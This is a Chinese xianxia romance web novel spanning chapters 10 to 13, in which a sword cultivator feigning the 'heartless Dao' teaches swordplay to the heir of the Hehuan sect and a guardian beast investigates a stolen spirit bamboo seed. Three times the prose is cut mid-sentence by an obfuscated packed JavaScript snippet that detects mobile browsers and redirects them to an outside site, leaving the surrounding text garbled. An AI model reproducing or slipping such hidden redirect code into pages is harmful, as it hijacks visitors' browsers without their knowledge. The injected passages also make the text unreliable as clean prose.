她没听说过合欢宗少宗主是妖修的传闻来着,人家宗主母亲在修仙界扬名了数千年,若真是妖修怎会一丝传言都没有。 而且如今的修仙界修士大多对魔修妖修有着一些偏见,大部分宅在宗门里的修士都没有切实遇见过他们。 洛云晚也只认识像青青这样能化作人形的妖兽,并未接触过能同正常修士一样修炼的妖修。 “嗯?”青青圆圆的脑袋转了转,面上鳞甲又生一层,看向花榭,问,“你不是妖修么?” 花榭桃花眼微微眯起,摇头语气极其平静道:“在下并非妖修。” “唔……也对……”青青捏着下巴闷声嘟囔道,“我倒确实没感知到你身上的妖力,不过我当时闻到的气味也做不了假,唔,真是奇怪了。” “阿姐,”花榭歪头缓声问道,“凡是妖修都能闻到身上的气味吗?我之前从未听人说起过。” “不不不,”青青闻言得意仰起圆圆的下巴,脸上郁色一下子散尽,哼哼两声道,“准确来说,这世间一般的妖都是闻不到的,但是你青青阿姐不一样,阿姐是不一般的妖!” 洛云晚:“……听君一席话,如听一席话。” “哎呀!小云晚不许拆台!”青青嘟嘴又敲了洛云晚一脑门,白白的小脸泛了红,“咳咳”几声又道,“阿姐是仙山里最厉害的妖哦!” 洛云晚又接话向花榭解释道:“阿姐的本体是鲮鲤,依仙山而生,自临仙派开派初期便奉作了守山妖兽,她与仙山灵力交融,修为也较其他妖兽更为高深。” 花榭望着洛云晚掩唇轻笑一声:“原是如此。” 青青见他笑得极其生动,凑过来问:“诶,小仙君,你是哪个门派的?” 洛云晚替他答道:“合欢宗的,他名唤花榭。” “好名字呀。”青青眼珠一转,又问道,“小花,那你觉得我们小云晚怎么样?喜欢吗?” 喜、喜欢?! 这又是在问什么?!串台串到相亲频道了吗—— 洛云晚浑身打个寒颤,来不及侧头看花榭的反应,便连忙出声打断青青:“阿姐、好阿姐,我们之间绝对没有这般感情——我修了无情道。” 耳边传来身侧那人微微颤着肩的一声轻笑:“……呵。” 紧接着,一声小女孩尖着嗓子的高喊震透屋顶: “什么?你修了无情道——?!” …… “不行完蛋了我最喜欢的小云晚踏上不归路了怎么办,我第二喜欢的小鸢也因为这该死的心法变成木头人了,小小白又是个二流子……明虚你在听吗,我们剑宗完蛋了……” “抱歉,阿姐性格比较跳脱。”洛云晚看了一眼缩在屋子角落一边用手指画圈圈一边念念有词头顶黑云的青青,对花榭歉意说道。 黑衣少年闻言淡淡看了她一眼,不轻不重应了一声:“嗯。” ?什么情况。 洛云晚皱眉,感觉花榭态度比起刚才有些冷淡,但她又回过头想了想,没发觉自己说错了什么话。 长得漂亮的小少爷的确很难懂。她暗自点头,又在心里加深了这个印象。 其实洛云晚刚刚在脑子里纠结了很久要不要告诉青青自己是“假装修炼无情道”这件事,毕竟青青在她心里也算得上是很亲近的阿姐;不过若是说了,就意味着花榭也会知道自己昨夜的那般说辞全是谎言。 若是被他误以为自己故意以“无情道”为幌子拒绝他冷淡他,洛云晚害怕以小少爷的性格,今后就彻底与她形同陌路了。 虽说只与他认识了两日,但……洛云晚不愿。 说不出原因的,脑子少有的混乱不清的,她就是不愿意。 可若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374765|168287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不说,她又开始担心真相被揭穿的那一天。 ……都怪谢逍白出的馊主意!也怪师尊非要拿这个当招生秘籍! “花、花榭。”她抬眸看向面若桃花的黑衣少年。 等到开口时洛云晚才突然意识到这是她第一次以花榭的名姓来叫他,简单婉转的两个字在她口中厮磨几番,出声时竟有些磕绊。 而且他的名字念起来淡淡的,嘴角会不自觉的扬起,像是每念一次他的名字就会对他轻轻笑一回。 少年的碎发散散勾住下颌,水色眼瞳流转,目光扫过她,声音澄澈无波:“何事?” 很漂亮,即使神色冷淡也很动情。 洛云晚白衣被风吹得飘扬,她转头望了眼木屋窗外,束起的高高发尾扫过她的肩颈。 随后,她的眉目舒展几分,回头直直望向花榭潋滟的眼眸,语气里带着笑意问道:“要跟我出去看看么,这是我少时练剑的地方。” 花榭与她突如其来的目光对视不到片刻,咬唇又别过头去。 他眨了眨眼睛,胸口起伏闷声道:“……嗯。” …… 山风穿过林间,夕阳还未落下,天角的红霞层层晕染,荡漾在山色云间。 茅草木屋的背后,是一块平坦却丛生杂草的土地。鞋底踏过崎岖的石块之间,生长有紫红色的野花。在空地边缘倚靠着木屋的是一棵粗壮的老槐树,树枝藤条垂落在夕色里,映照出榕榕的青绿。 洛云晚伸手去摸粗糙的树皮,曾经练剑追着谢逍白砍的时候在上面无意留下了好几道划痕,如今已经和蜿蜒的纹路混杂在一起看不清了。 “嗒”。 她往前走时又踢到一块凸起的木杆,杆子晃了晃,感觉有些摇摇欲坠。 洛云晚在脑子里回想了一下,眼前这破破烂烂的玩意……好像是二师兄柳随给她埋下的练剑木桩。 二师兄是个剑痴,还没与师门决裂时整日来得最多的地方就是这儿,因此也总是能逮到洛云晚爬槐树上偷懒的举动。 柳随看不下去,二话不说就去后山砍了树给她扎了个木桩子,木着脸像人机一样催促她:“动起来!今天不砍桩,明天桩砍你!” 洛云晚“哎呀哎呀”几声从树上跳下来,接着像是被赶小鸡仔一样被二师兄柳随一路轰到木桩前。 柳随此后便一边和她一起练剑,一边像念拍子一样掷地有声催着她挥剑。 然后洛云晚终于学会了。 ——学会了以后偷懒绝对不来这里。 忽地一阵山风吹过,四周松林沙沙作响。 洛云晚回过神来,脑海里的回忆与眼前的场景交错重合,曾经的木桩轰然倒塌,消失不见。 已经很久没有人来过这里练剑了。 当时是青青与明虚真人交好所以才在自家院子后面给他们一群十岁出头的小孩造了一块空地来练基本功,而后来洛云晚几人剑术小有突破不再需要练基本功了,便同其他剑宗同门一样,在宗门内整齐规范的训练场里练剑了。 也确实有些日子没回来见过青青阿姐了。洛云晚想。 她又抬眼,空地中央站着的黑衣少年散发被风吹得如蝴蝶般翩飞,夕阳的余晖透过老树枝叶间的缝隙,斜斜洒在他的肩头。 他的身形清隽又瘦削,背对着她站在夕色里。 “花榭。”洛云晚又叫了他一声。 对方仰头望着树梢上的落日,语气懒懒“嗯?”了一声。 她走近,贴着对方身后不远处,抬手引剑出鞘,轻声问他:“……想试试练剑么?我教你。” 11. 第11章 浮动的云海从远山顶飘过,夕阳透着云隙洒下来,在杂草丛生的平地上映下斑驳光影。 花榭的身子顿了顿,没回头,只是轻轻应了一声:“好。” 洛云晚想着他作为合欢宗的法修应该是没有用过剑的,便摘了一枝蜿蜒的细藤在手中挥舞比划了一下,瞧着韧性不错便递给了他。 眼前画面突然和少年时的场景重合,洛云晚眯了眯眼,道:“我刚入师门那会儿也是拿着树枝当剑练习的,师尊说先练基本功,后来才给了我一把木剑。” 当时的场景的确是这样。不过之后谢逍白大嘴巴憋不住话,无意间告诉了她真相:其实是师尊明虚真人在授课前一日晚上和明远师伯打牌打上瘾了,第二天火急火燎赶来上课,忘记给她这个新收的徒儿带新手木剑了。 知道真相后的洛云晚不哭不闹,只是整日泪眼汪汪盯着明虚真人,一副委屈样,惹得明虚真人虽不知道真相泄露,但每次授课还是心虚地单独给她带了好些仙果来,此事才算过去。 不过也因此,洛云晚作为剑修对自己用的剑倒不太讲究。最顺手的当然是本命剑,可若是剑不在身,周遭能找着啥就用啥。 毕竟,没有废物的剑,只有废物的剑修。 花榭当然是不知晓这些的,他只是乖乖接过洛云晚递来的藤枝,将它握在纤长白皙的手指间,垂头仔细看了看,又轻轻挥动了几下。 洛云晚握着自己的本命剑走过来道:“最基础的是挥剑,可以感受自己使出的力道。若是要修炼剑招,就需结合心法,以灵气催动剑身,召出剑气——” 玄色本命剑寒芒一生,“簌”地向外挥扫破空,在面前的一块方石上印下一道剑痕。 花榭眨眨眼睛,唇瓣微张:“昨夜你便是这般击退李显的么?” 李显?洛云晚转转眼珠子才想起,他说的是昨夜在酒楼里那个挡路的灰衣男。 “嗯。”她语气略略上扬,脑后的高马尾在风里得意地晃来晃去,“只要对剑招理解得透,桃枝也可以催生剑气。” 花榭歪头看她一向冷淡的面容上生起几分意气,又转开目光微微勾起嘴角,轻声道:“……的确厉害。” 洛云晚眼睛一亮,轻咳一声,故作冷色又道:“你说什么?我方才没听见。” “……”花榭黑衣翩翩,转身一步背对着她,“没什么……没听见就算了。” 洛云晚也不恼,只当他还在生气,便抛开当下的话题重新道:“我记得法修是直接释放灵气?你以藤枝为引试试看?” 不同修士的灵气修炼方式不同,正如剑修是将灵气催生于长剑之中,符修用灵力画符,体修以此锻体,法修便是心念法诀灵气外显。 洛云晚当年正因是被“剑修大能”明虚真人捡回门派的,她为了不被又一次抛弃,便死缠烂打扯着明虚真人的衣袖保证自己“一心向往剑道”“非剑修不学”——尽管她那时连剑是什么玩意都没搞明白。 明虚真人捋着胡子乐呵乐呵,再拍了拍她脏兮兮的脑袋,小小的洛云晚便成了他座下的第三位徒儿。 也正是因此,她没有同外门弟子那般将各个类别的修炼心法都先了解一遍再决定最适合自己的,而是整个人稀里糊涂地选定了专业方向。 不过像临仙派这样的综合性门派毕竟是少数,如今修仙界的大多门派都是专业指向性的,就比如合欢宗内便只有法修一个修炼方向。 花榭听了她的话,用气音小声念了一个法诀,随着他的声音,手中藤枝根部逐渐泛起浅浅荧光。 “对,”洛云晚道,“再注入些,然后将它向外挥。” 藤枝荧光顺势蔓延,花榭“簌”地将它轻轻挥出。 “咔嚓”一声,藤枝从中截断,摔到地上。 花榭仰起脑袋看她,水色潋滟的眸子眨了眨。 洛云晚:……呃这,师尊没教啊。 “我或许还不适合收徒吧。”她也跟着仰头望天,语气平静,“回头我问问师尊这怎么回事。” 花榭:…… 他终于是忍不住轻笑出声,上挑的桃花眼眯起,笑骂了一声:“笨蛋。” 诶? 又骂她笨蛋! 洛云晚的好胜心一下子就上来了,二话不说把自己的本命剑塞到花榭手中,从身后握住他的手腕,同时冷声道:“不行,我今天非得把你教会。” 她靠着他的背,话语中的吐息打在他掩于长发后的耳边,惊得怀中人像猫一样颤了颤。 洛云晚顺着花榭的手腕翻转剑柄替他调整好持剑姿势,再松手抽离身子,脸颊无意被他的发丝扫过。 整套动作极其迅速,等到鼻尖嗅到从他发丝间传来的一缕浅淡清香时,她已经和花榭拉开了距离。 “来。”洛云晚扬扬下巴,“你再试试。” “……”少年垂着头,身子绷紧站在原地,闻言却没有反应,只是手中的玄色长剑不受控制地抖了一下。 他白皙又纤长的手指紧握着剑,指节被捏得泛起樱粉色。 洛云晚“嗯?”了一声,语气中染上疑惑:“剑太重了?” 也是,她当初废了好大一番功夫才从万剑崖中取出的本命剑,这般猝不及防交给其他人,确实会很不顺手。她方才被激得上头,的确欠了考虑。 她想了想又贴近问道:“那我把着手教你些简单的剑招如何?” 许久,背对着她,花榭埋着脑袋闷闷地应了一声:“……嗯。” 他的尾音不住颤抖着,洛云晚无意瞥到他藏在发丝后绯红的耳尖。 什么呀。原来是害羞了? 她忽地明悟,方才贴近的身体接触似乎太过突然,花榭可能因此而变得局促。 ……不是,怎么搞得她像是一个故意占人便宜的采花贼啊! 请相信我们无情道剑修的品行好吗! 虽然她是假的无情道,但还是请相信她。 洛云晚暗自点头,又见花榭答应了她的提议,便不再多想,略略贴着黑衫握住了他的手腕。 “唔嗯……!” 少年因她的举动轻轻抖了一下,墨色的长发拂过她的耳边,惹得洛云晚轻笑一声。 “专注你的剑。” 说罢,她牵引着他的手腕上挑,玄色长剑在空中划出一道流畅的弧度。 她和花榭的身高相近,对方身形清瘦手腕细巧,她的指尖恰好可以尽数环住,极其方便使力,带动对方手中的长剑。 剑身暗色星纹流转,洛云晚又引着他手腕一转,剑气向外横扫。 树叶沙沙晃动几下。 洛云晚贴在花榭耳边,轻声问了一句:“方才青青阿姐说你不高兴,是因为什么?” 其实她先前也有些看出来了,不过一直没找到适当的时机去问,当下一边挥着剑一边就顺口问出来了。 “没有。”花榭动了动身子,咬唇,胸口起伏,淡淡道。 ……这绝对有吧。 “是怪我擅自拉你过来吗?” 花榭抬手挥剑,尾音有些轻:“本少爷从不计较这些。” 洛云晚牵着他的手腕纠正姿势,淡淡道:“那是因为我?” “……” 怀中揽着的人放下剑,不动了。 还真是啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374766|168287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这其实是个意料之中的回答。 洛云晚脑中不经意闪回过昨夜相遇时她惹得花榭气急破防的场景,又想起他说过的今天来看她的对决只是“正好无事,随便看看”。明明最开始是她想摆脱糊弄他,后来却是她主动把他拉进自己的圈子里。 或许是她错估了他们之间的关系,或许正如花榭所说,他本来就不太“喜欢”她。 这番想法一旦在脑子里初具形态便会像鬼一样缠着她,如带着尖刺的藤蔓从心口刺穿蔓延,紧紧缠住她的脖颈,让她如无法呼吸般无法思考其他的可能。 洛云晚“簌”地松开手,垂眼在花榭耳边轻声问道:“……你讨厌我么。” “嗯?”手腕一轻,玄色长剑“噔”的一声垂到地上,花榭偏过头左手抚过脸颊,声音轻如蚊蝇,“为什么会这么问啊……” 与桃花相似的清香不受控制涌进鼻腔,洛云晚后退一步,淡声道:“不是我令你生气……” 话音未尽,“唰”的一声。 花榭转身前倾身子,紧紧扯住她衣领,仰头咬牙道:“这根本不是一回事。” 他的脸颊绯红着,动情的桃花眼晕着潋滟流转的水光,神情生出几分怒色,又抿唇不说话了。 “噗通”“噗通”。 洛云晚心下突然生出沉闷之感,扼制着她开口却哑了声音,一时也忘记了将他推开,只是冷着脸看他。 “……”花榭却先败下阵来,别过脑袋,任由碎发将他红晕的脸颊遮盖,声音断断续续,“……总之,不讨厌你……没有讨厌你!不许再乱想了!” 像是把自己气得不行,他的尾音颤抖着上挑,隐隐夹杂着几分怒气。 花榭偏过头去,咬紧了唇瓣,身子还微微颤抖着。 “咚”。 玄色的长剑重重坠落地面。 洛云晚无声注视着他,末了,伸手替他理过耳边杂乱浸湿的发丝:“好。你是我重要的朋友。” 花榭闻言抬手烦躁将碎发再次揉乱,眼尾泛红,气声又道:“……讨厌你!” 洛云晚:…… 怎么又讨厌我了啊! 清汤大姥姥—— …… 青青窝在角落里絮絮叨叨说了好久,终于把自己哄好了。 她虽然修炼已久,但心性却像小丫头一般,情绪来得快去得也快。 小云晚爱修无情道就让她修去吧,反正剑修没日没夜练剑修炼,过个几百上千年终究会把性格磨得枯燥如人机,到时候修没修无情道都差不了多少了。 明虚就是这样,小时候眼睛亮晶晶的,上蹿下跳像只有趣的小猴子;后来还不是被宗门事务蹉跎得连塑形都懒得塑了,整个人一副老头子样儿。 青青“哼哼”两声,甩甩脑袋将烦心事扔掉,扭着腰推门打算叫小云晚和小花吃晚饭。 “小云晚——”她“嘎吱”推开门小碎步跑到后院空地,靠在老榕树上,一手拢在嘴边做喇叭状一手朝前挥动,“带小花过来吃饭啊——” 风声簌簌里。 背对着她的高马尾女孩惊讶回过头来,同时也露出身后黑发少年绯红的面容。 白衣与黑衫在风里交融着,洛云晚方才触及花榭脸侧的手还未收回,讪讪停滞在空中。 花榭眼眸泛着水色,殷红的唇瓣抿起,耳边碎发被人为地揉乱了。他朝青青笑了笑。 再低头,地上安安静静躺着一把玄色剔透的长剑。 青青眨眨眼睛。 下一瞬,一声小丫头的尖叫响彻云霄: “你们到底是哪门子的普通朋友呀——!” 12. 第12章 青青拉着洛云晚和花榭在家中简单吃过一顿后,夕阳垂落,天色逐渐黯淡。 洛云晚本打算自己回宗门逛一会儿,青青却不乐意,说什么也要亲自送她回去。 山间林叶晃动,飞鸟从天际划过,青青热切地挽着洛云晚的手眨眨眼睛,冲她使眼色道:“小云晚告诉阿姐,你俩怎么认识的唔唔——” 难怪要送她,原来是想缠着她逼问八卦啊。 洛云晚伸手揪了揪青青白嫩嫩的小脸蛋,神情平淡,目不斜视:“他问我叫什么,我问他叫什么,一来二去就认识了。” “废话!”青青嘟嘴叫嚷一声,又殷切地转头看花榭,“小花你来说说是怎么一回事!” 花榭脚步从容踏过山野间的石板路,黑衣在夜色里摆动,抬眼扫过洛云晚,又对着青青眯眼笑道:“差不多。不过她没有问我的姓名,是我自己告诉她的。” “……”青青哑了声,忽地又愤愤叫嚷,“你们如今就这般联合起来忽悠我,等真成亲了那岂不是眼里没有我这个阿姐了!” 洛云晚慌急慌忙“哎”了一声,下意识转头又撞进花榭如水的眸子里。 傍晚夜色透着柔光,将他白皙艳色的脸颊照出晕红。小少爷对上她的目光却不说话,只是用长袖掩着唇瓣转开了视线。 小少爷你说句话呀!被人擅自拉郎配了都没有反应的吗! 洛云晚急得暗中跺脚,一时间觉得自己像是凡界流传的伦理戏文中那种两边不讨好的嘴笨倒霉蛋。 “咳,”她转过头,故作深沉冷声道,“阿姐莫要再拿我们取乐了,我们如今最重要的是修炼道法,那什么的事情还早着呢。” 说出这话后,洛云晚感觉自己有点像那些整日在宗门里巡视演讲大道理的长老们。 比如“筑基三层正是最关键的阶段!千万不能松懈!”,还有什么“下凡历练也不能忘记修炼,这是弯道超车的好时机!”“筑基期找什么道侣啊!现在修炼境界大贬值,人家根本瞧不上你!”,听得洛云晚耳朵都快起茧巴了。 果真她的一番扫兴话一出,青青嘟嘟囔囔几句便不再出声提及了。 只是花榭却像是得了趣,弯了弯桃花眼悄悄贴过来问道:“那你觉得什么时候算合适呢?” 青青闻言也兴致勃勃扭身,叉腰道:“对啊,那你说说看。” “呃,”洛云晚眼珠子一转,高马尾在脑后摇晃,“等我无情道修炼圆满,可以杀夫证道之时,再与人成亲吧。” 花榭:…… 青青:…… “可恶!”小丫头圆嘟嘟的脸蛋气得鼓起,“又忘记你改修无情道了!” 清风吹拂里,洛云晚得意地晃了晃衣袖,心生慨叹: 假扮无情道也不全是坏处,至少可以有效应付长辈催婚。 别问,问就是我修了无情道,要杀夫证道的。 …… 眼下又回到下午跟踪花榭跟到的那片竹林中,略略夜色里的竹枝荡漾,寥无人烟,竹林深处更是鸟啼哀怨,一片幽黑。 白日只是幽静青葱,如今却显得有几分森冷了。 “阿姐,”洛云晚边走边问,“所以你今日为何要来青竹林?” 她步履依旧,本以为青青会笑嘻嘻扯皮说什么“无业游妖当当街溜子不行呀”这类的话。 不料她抬起的手腕被人扯了扯,扭头看,青青一手挽着她一手捏着下巴,神情罕见地正经了。 她圆圆的脸上生出两层光滑的土灰色鳞甲,妖兽特有的尖尖耳朵颤了颤,压低声音道:“有贼。” 洛云晚:“偷心贼吗?” “你有病啊小云晚!”青青跳脚敲了她一暴栗,“天天跟小小白学烂梗!” 洛云晚捂着脑袋闷声道:“不是,我真不明白啊,青竹林有什么值钱货吗?我待了这么些年也没发现啊。” 青青白了她一眼,闪身溜进竹林。暖黄的衣袂在黯淡竹林间穿梭,洛云晚和花榭“嗒嗒”迈步跟在她身后。 一会儿,青青蹲在一棵天青斑驳的竹枝边上,招呼她过来。 “月魄竹实,”小丫头抬起头看她,“消失了。” 一阵冷风簌簌卷来,枯叶尘沙纷飞。 “月什么猪食?”洛云晚撑着膝盖蹲下来,瞧着青青身前的那棵竹枝看了又看。 竹枝青郁高挺,竹身被天青色透染,却又在每一竹节处浸透着暗红色的瘢痕,星星点点的墨红像是凝结的血珠,也像是早已干涸的斑斑泪迹。 泪斑竹。 隐没在苍翠林叶中,若非细看,似与周遭青竹如出一辙。 洛云晚上下摆头观摩后评价:“很普通的竹子?” 青青伸出胖胖的手指指向竹根处,黏密的泥土间更生斑驳。 洛云晚:“竹根。” 青青又伸手点了点竹根的枝干,竹枝浸染着墨红的泪色斑点。 洛云晚:“竹斑。” “你是识图法器吗!”青青忍不住吼了她一声,没再理会,只是抬头看花榭,开口问道,“你看见了么?” “……”花榭的桃花眼暗沉着,唇瓣轻咬,凝目后却是摇头,声音也轻飘飘的,“看见了……什么?” 青青圆圆杏眼眨了眨,忽地出声道:“月魄竹实生长在千年泪斑竹的根部,每逢一甲子便结出两粒竹米,食之可增进百年修为,只有用妖力才能看见它。” 花榭了然道:“这算是独属于妖的灵丹精华罢。” 洛云晚听了青青的话蹲在竹根边左瞧右看,却依旧没能在斑点泪痕间发现什么独特之处。 又听青青道:“它在白日隐形,只有夜间才浮现出青荧之色。昨夜正是月魄竹实结果之日,我在子时前来采集,却发现少了一粒。” “噢,”洛云晚淡声道,“或许是被别的妖兽抢先一步?” 青青摇头:“我们在‘仙山一家亲’中约定了的,这回该我来采,大家都同意了。” “‘仙山一家亲’?”这几个字在洛云晚嘴里囫囵了一遍,她又出声问,“这啥?” 青青:“我们仙山妖兽的通讯联络秘宝……哎呀这不重要!” 哦,仙山业主聊天群啊。 洛云晚又道:“那岂能凭空消失了不成?” “不知道哇,”青青耸肩道,“每次都长两粒的,真要被妖采走也没理由只采一粒呀。因而我今日午后特来蹲守,结果只蹲到了你们在这儿吵吵闹闹。” “……”洛云晚仰头望天,装作未闻。 花榭垂眸却道:“如今正是仙门大比,莫非被外宗修士采去了?” “噢……嗯?”洛云晚恍然长叹又立即皱眉疑问,“方才阿姐不是说只有妖才能瞧……” “妖修。”花榭和青青同时道。 青青沉声又开口:“我怀疑是被外宗的妖修采走了。” 竹叶间传来一阵“簌簌”的轻响声,几只灰褐色的小兽从她们身侧穿行而过。 洛云晚神情凝了凝。 她想起青青之前说过的,她能闻到花榭身上特有的味道,却感知不到他的妖力。她反应过来,青青那时扔出鳞片的真正目标或许不是她而是花榭。 所谓的制造助攻其实也是对花榭妖力的一种试探,只不过,她的确没能查探到花榭身上有分毫妖力。这倒的确稀奇。 “阿姐,”洛云晚轻声道,“昨夜我和花榭在一起,没有来过青竹林。” 花榭侧头看了她一眼,如墨的发丝垂落在脸侧。 青青眯眼笑问:“你们子时也在一起么?” 肉眼可见的,花榭的鼻尖一瞬间泛上薄红,慌乱转开了视线。 洛云晚反应过来也老脸一红,连声怪叫:“没有没……” “知道啦!”青青笑骂她一声,“我未曾怀疑小花,你不必这般反应。” 说罢,她的右手化作鳞爪,尖指触及斑竹根部,月华荧光中,一粒剔透的白米浮空生出。 “这月魄竹实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374767|168287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽是只能用妖力看到,但若是被采集出来,你们便都能见得。”青青道,“我并非纠结于消失的那一粒,只是担心那采集之人将其用于邪道。” “除去增进修为外,此物还有别的用途么?”花榭凑近,轻声问。 “有的。”青青圆圆的小脸神色沉下来,“用作禁咒引物,或是秘法镇物,更或是注入魔气令服用者灵气紊乱……皆有可能。” “罢了,”青青撑着大腿站起身来,“一切皆有命数,莫再执著了。” 一轮圆月悄然爬上枝头,夜色无声蔓延至天角。 …… 氤氲,朦胧。 圆月高悬在天顶,桃花花瓣萦绕身侧,凭栏侧望是无边的水色。 耳鬓边的交谈话语声一切都听不真切,也闻不到本该充盈的桃香。 花榭斜斜倚着栏杆,茫茫夜色交融中,只能看清游廊之下幽深的水波。 他下意识伸手,在雾色弥漫的空气中拂动指尖,廊下流水顺意泛起一圈一圈的涟漪。 霎时,一道清冷的女声朦朦传来:“……我说……” 花榭指尖一顿,茫然抬眸在模糊世界中找寻声音的源头。 他的视野中蔓延出一抹冷色的白,看不清身形的。 “别挡路。”寒意冰冷的,不带分毫感情的声音。 “唰——” 随后是肃杀森然的,无情的剑风。 面前灰色暗沉的模糊身影重重后仰,“噗通”一声摔落水中。 凌冽的剑气破空而来,花榭瞳孔微颤,下意识闭上眼。 噗通,噗通。 是落水声?他想,可是落水的只有一道身影。 下一瞬间,他的发尾被风吹得轻轻飘动。 他闻到了传至耳边的柔风中夹杂着的,一缕桃香。 然后他迷茫地睁开眼睛—— 一切奔走的时间似乎在这一瞬驻足。就连耳边震颤的落水声也荡然无存。 清晰地可以看见纹路的桃色花瓣簌簌摇落到身前人高高束起的马尾上,她的白衣仙袍被风吹得轻摇。 望向他时,她冷淡漠然的神情淡去,眼里浮出一抹笑意。 她将手指间的桃枝递给他,轻声道:“……很好看。” 桃花瓣飘落游廊外,落入潋滟的水色,晕开一层一层的波纹。 花榭这才意识到,方才停滞一瞬的是他的心跳。 “怎么沉默了?”那白衣女剑修走近身前,理过他耳边粘黏的碎发,轻声笑道,“不是你说……我是你的相好?” 他的指尖颤颤,廊下拨动的涟漪变得滞黏。 …… 花榭睁开眼。 起伏喘息的呼吸声中,脸颊莫名的烫意快要将他灼烧。 有风,吹起翻飞的帘幕,露出窗外的一盏冷月。 梦里不知身是客。 “……”花榭双腿并起,把绯红的脸颊埋在双膝间,眼瞳润得快要出水。 他又伸手召来桌上的荧蓝色法器,那是临仙派为仙门大比分发的通讯法器,页面正停驻在“临仙派-剑宗-洛云晚”的画面上,剑修冷淡又肆意的神情。 她才不会说那些话。 她只会把他推开,然后冷脸说自己“修了无情道”。 狠心。 凡间话本里不是都说无情道与合欢宗绝配么。 湿黏的黑发垂落在脸颊边,绯红一路漫延到眼尾和耳尖,从未有过的莫名情绪烫得他无法思考任何任意。 花榭埋着滚烫的脸颊,一边反复翻动通讯法器中的页面,一边抖着声音极其闷声骂道:“……笨蛋。” 笨蛋笨蛋。 他的双腿夹在被褥间,垂着眼瞳又将页面翻回。 然后—— 【你拍了拍【临仙派-剑宗-洛云晚】,并说她真的好酷】 花榭:“?哎!” 临仙派那群钱多得没处花的长老能不能别搞这些花里胡哨的功能啊! 13. 第13章 花榭一觉睡得并不安稳。 天色才蒙蒙亮,仙山晨间的雾气缭绕在窗边,开窗时的凉风让他清醒了些。 昨夜本就因那突生旖旎的梦而扰得心神不宁,他还偏偏在脑袋混沌时做出了…… 做出了那种事。 花榭如今清醒了回想起自己夜里的这般那般,脸颊滚烫得快要将他烧灼。 一闭眼,梦里洛云晚白衣翩翩的身影便浮现在脑海里,还有她折桃枝挽过的潇洒剑花,凌冽剑气传至他身前时只剩一缕夹杂着桃香的柔风。 ……以及,她俯身垂眸面对着他时,用桃枝替他捋过的发丝。 她带着笑意说出的话令花榭一时间分不清身处梦境还是现实。 花榭咬着唇瓣摇摇头,鬓角的发丝轻轻飘扬,他上挑的眼尾也漫上一抹艳色的桃红。 乱想什么啊…… 他堂堂合欢宗少宗主岂会被一个无情道剑修的三言两语就乱了心神。 一点合欢宗修士的从容都没有。 他现在根本没有喜欢上洛云晚,花榭想,他只是觉得她是朋友,是知音,是他人生中的一个比较特别的人罢了。 她在不认识他时出手救过他一次,在知晓他的名姓后说出过“不在意他人评价”的话,在与他结识过两日后将他认作自己的朋友,带他去见了自己的亲人,替他挽过一回发髻,教他练了几招剑招。 只是、只是这般而已。 花榭将下巴埋在仙袍衣领之下,闷闷的呼吸打在他的脸上,让他的脸颊也有些闷。 不喜欢。 毕竟第一次见面时就这般对她说过了。 但是……也不讨厌。 他还想再和她相处…… “嗒嗒”。 突如其来的敲门声打断了花榭的思绪,吓得他打了个颤,混杂的思绪彻底滚烫了他的双颊。 “师弟,是我。”门外传来一道严肃而不起波澜的男声。 啧。 那人话音刚落,花榭的神情便冷淡了下来,他滟滟的桃花眼一眯,淡淡道:“哦。” 与他声音同时发生的,就是那人沉缓的脚步声。 “师弟,今日有你的仙法对决。”进屋那人一身繁复黑衫将身上肌肤裹得严严实实,身姿高挑挺拔,神情却平淡死板,没有一丝生机的神采,甚至对于他脸颊仍存的薄红没有任何反应,无睹似是目盲。 徐鹤卿,花榭那顶头的合欢宗掌门亲传大弟子、宗门首席大师兄。 明明是合欢宗的法修,他却从来都沉默寡言一板一眼,俊俏凉薄的面容上生不出属于合欢宗修士的一分艳色神情。若非他的确是宗门里当之无愧的大师兄,花榭都忍不住怀疑徐鹤卿是宿慧禅林里的和尚或者偷偷修了无情道。 与他相比起来,前些日子认识的无情道剑修洛云晚都显得生动许多。 “知道了。”花榭艳艳如桃花的面容冷了下来,眯眼看他,声音略略勾起一丝讥讽,“不劳师兄费心通知我。” 徐鹤卿垂眸,长发被规规矩矩地束在脑后,听闻他没好气的回答后脸上依旧生不出一丝波澜,只是平淡冷声道:“莫要做出格之事,以免丢了宗门的脸面。” “……呵。”花榭闻言嗤笑一声,薄唇勾起一个轻慢的弧度,双手环抱挑眉问他,“若是做了呢?本少爷做过的出格事、给宗门丢过的脸还少了不成?” 徐鹤卿墨色的黑眸在他身上扫视一遭,唇瓣抿了抿,当即转身就走:“好自为之。” 